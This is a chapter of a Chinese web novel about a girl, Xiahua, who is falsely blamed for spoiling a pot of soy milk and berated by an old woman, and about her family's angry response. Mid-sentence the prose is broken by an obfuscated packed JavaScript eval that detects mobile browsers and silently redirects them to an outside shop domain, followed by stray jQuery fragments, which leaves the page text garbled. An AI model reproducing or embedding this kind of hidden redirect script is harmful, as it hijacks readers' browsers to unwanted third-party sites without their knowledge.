说来此事的矛头是王有根。
虽说他和夏花一样,每天都到李家报到,可胡娇娘嫌他不讲个人卫生,太脏了,根本就不让他进点浆的灶房,顶多让他磨磨豆子,过滤一下豆渣,并且还当着婆母的面说不准王有根进灶房。
这是在防着他呢。
王有根心里暗暗的记恨上了胡娇娘。
不让他进,他非要进。
先是老实巴交的观察了几天。
胡娇娘在的时候,是又能干又听话,显眼的很,下午她有事出去了一趟,王有根立马原形毕露了。
活儿也不干了,躺在院子里跟二大爷似的。
“胡婶让我看住灶房,等她回来点卤,可有根叔非要进来,我不让他进来,他就骂我,还推了我一把......”夏花哭着说。
林春苗听完后直接破口大骂:“个狗日的王八蛋!”
一拳砸在了桌子上。
惊的赵莲瞪大了眼睛,简直不敢相信自己的眼睛和耳朵。
夏花继续说道:“然后他就开始乱碰东西,也不知道是无意的还是故意的,打翻了石膏水...那么多的石膏水全倒进豆浆里了。”
“这还用说吗!?肯定是故意的!”秋果气愤不已。
发生这样的意外,夏花第一时间想到的就是赶紧抢救这锅豆浆。
她按照胡婶教她的步骤,用勺子沿着同一方向不停的搅拌,一直到浆液中出现芝麻大小的豆花颗粒时,她才停了下来,立刻加盖给豆浆保温。
好不容易喘口气了。
她忽然发现王有根不见了。
连忙跑出灶房,大喊了几声,没人应她,钱氏也出门溜达了,整个李家就剩她一个人了。
夏花僵在原地,感觉从头到脚一阵凉意。
完了,她闯祸了。
“怎么办...怎么办.......”夏花急的在原地转圈圈。
找胡婶!
对,先去找她,有她在,这锅豆浆肯定坏不了!
林夏花撒腿就跑。
......
“花儿啊,发生这么大的事,你咋就不晓得先回家给娘说一声啊?”
她这个当娘的就如此失败吗?
闺女出了事第一时间想到的人不是她。
夏花眼眶红红的,不去看赵莲。
不是没想到回家,是不敢,是害怕。
怕她闯了祸又不要她了。
“然后呢?你找到胡婶没?”春苗问道。
夏花摇了摇头。
找了一圈没找到,她想着胡婶会不会先回去了?
刚一进李家,王有根就一把抓住了她。
“姨母,这丫头回来了!”
王有根恶人先告状,说夏花弄坏了一大锅的豆浆后就跑了。
“不是我!是有根叔!”
夏花急于给自己辩解,可钱婆子哪里是讲理的人?她本就讨厌夏花,自然是向着亲外甥了。
不分青红皂白,指着夏花的鼻子,张嘴就骂:“我早就说过不能留你这个丧门星了!”
“养在外面的小野种,克死了亲爹,你现在是打算要祸害我们老李家了!?”
“天生就是瘟神的命,谁沾上你谁倒霉!”
“......”
钱婆子的嘴就没停过,一直骂个不停,骂到后面,夏花已经听不见了。
她本就是个敏感自卑的性子,因为从小被送出去这一缘故,夏花一直觉得自己抬不起头。
钱婆子的嘴就跟浸了毒一样,句句流进她的心窝,她被攻击的遍体鳞伤,最后只能无助的蹲在地上,哭成泪人。
胡娇娘回到家看到的正是这一幕。
不用问,都知道是这对姨母外甥干的好事。
见王有根露出得逞的嘴脸,胡娇娘抄起锄头就朝他抡了过去。
“老娘捶死你这个孬货!”
孩子都欺负,连人都不算。
“姨母救命啊!”王有根大步躲到姨母的身后。
“天杀的啊,儿媳妇的打婆婆了——”钱婆子扯着她那破锣嗓子大叫起来。
“胡婶!”夏花猛的一下拦腰抱住了她,“别、别这样。”
“...是我不好。”
那一刻,胡娇娘的心揪在一起了,又酸又疼。
胡娇娘让夏花先回家,剩下的事情交给她。
......
“大姐,你要干啥去!?”
秋果
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14275617|151771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
见春苗‘唰’的起身,准备要干仗的架势,一把拉住了她。
“我要去找王有根和老婆子算账!”
“你、你、你准备咋算帐啊?”秋果突然想到了家里的耗子药,害怕的问。
“不知道,先打一顿再说。”
“啥!?”林秋果惊掉了下巴。
“春苗!你怎么也胡闹起来了!”赵莲厉声道。
林春苗看了赵莲一眼,想到自己如今的身份,只好气呼呼的又坐了下来。
“那您说,这事儿该怎么办!?”春苗不服气的问。
赵莲摸着肚子,沉默了一会儿。
“花儿,你胡婶那儿不要去了。”
夏花无声的点了点头。
不用娘说,
那个院子,她这辈子都不想再踏进了。
“这件事...就这么算了,以后你们几个都躲着点强子阿奶。”
她没听错吧?赵莲让她们忍了?
“娘,是钱婆子冤枉了夏花,凭什么要我们躲着她?”
“不躲着她难道要和她打一架吗!?”赵莲这时也没了好脾气,大声说道:“你没听花儿说,你胡婶为了她都要和王有根干仗了,这事要是传出去,别人会怎么想你胡婶?”
“我们已经欠了你胡婶太多人情了,要是再闹起来,你让她今后在李家还怎么过日子?”
“......”林春苗顿住,“那我们就去找村长评理!”
“村长和你大牛叔是同辈的堂兄弟,按辈分他还得叫钱婆子一声婶娘。”
春苗差点忘了,大河村的村长姓李。
一口窝囊气堵在喉咙上不来。
林春苗快难受死了。
“自从你爹没了,整个大河村,除了你胡婶和三爷爷,谁还把我们孤儿寡母放在眼里啊......”
“......”
林春苗把夏花搂进怀里,挨着她的脸说:“迟早有一天,大姐一定给你出这口恶气!”
夏花埋进了大姐的怀抱。
只有这里才能带给她家的温暖。
夜晚,胡娇娘敲响了林家的院门。
“莲娘,我对不住你,对不住夏花。”
胡娇娘自责极了。